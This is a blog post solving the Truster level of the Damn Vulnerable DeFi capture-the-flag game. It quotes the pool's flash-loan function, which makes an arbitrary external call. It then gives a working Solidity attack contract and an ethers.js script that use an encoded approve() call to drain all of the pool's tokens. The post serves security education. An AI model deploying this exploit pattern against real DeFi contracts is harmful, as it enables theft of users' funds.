jiang

jiang

Man who has not escaped from low-class level taste.

DamnVulnerableDeFi-Truster Solution

Overview#

Damn Vulnerable DeFi is a CTF game for learning Ethereum DeFi smart contract security.

The game covers various DeFi scenarios such as flash loans, price oracles, governance, non-fungible tokens (NFTs), decentralized exchanges (DEXs), lending pools, smart contract wallets, and time locks.

This CTF-like game is very suitable for beginners to learn solidity/ethers.js development.

Challenge description website: https://www.damnvulnerabledefi.xyz/
Challenge source code: https://github.com/tinchoabbate/damn-vulnerable-defi

Truster#

Challenge description:
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

The pool holds 1 million DVT tokens. You have nothing.

To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.

Solution#

Our goal is to take all tokens out of the pool in a single transaction.

Let's take a look at the pool's contract:

function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore)
            revert RepayFailed();

        return true;
    }

We can see that after lending out tokens, the above flash loan uses target.functionCall(data) to call the user's calldata. We can exploit this to perform an arbitrage attack. We can use target.functionCall(data) to approve our attack contract for the token, and then use the approved result to transfer tokens after the flash loan ends.

Solution#

Attack contract: AttackTruster.sol

import "../truster/TrusterLenderPool.sol";


contract AttackTruster {

    TrusterLenderPool _truster;
    DamnValuableToken public immutable _token;


    constructor(address truster, address tokenAddress) {
        _truster = TrusterLenderPool(truster);
        _token = DamnValuableToken(tokenAddress);
    }

    function attack(uint256 amount, address borrower, address target, bytes calldata data) external {
       _truster.flashLoan(amount, borrower, target, data);
       _token.transferFrom(address(_truster), msg.sender, _token.balanceOf(address(_truster)));
    }
}
it('Execution', async function () {
        
        attackContract = await (await ethers.getContractFactory('AttackTruster', player)).deploy(pool.address, token.address);
        const abi = ["function approve(address spender, uint256 amount)"];
        const iface = new ethers.utils.Interface(abi);
        const data = iface.encodeFunctionData("approve", [attackContract.address, TOKENS_IN_POOL]);

        await attackContract.attack(0, player.address, token.address, data);

});

Complete solution: https://github.com/fenghaojiang/damn-vulnerable-defi

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.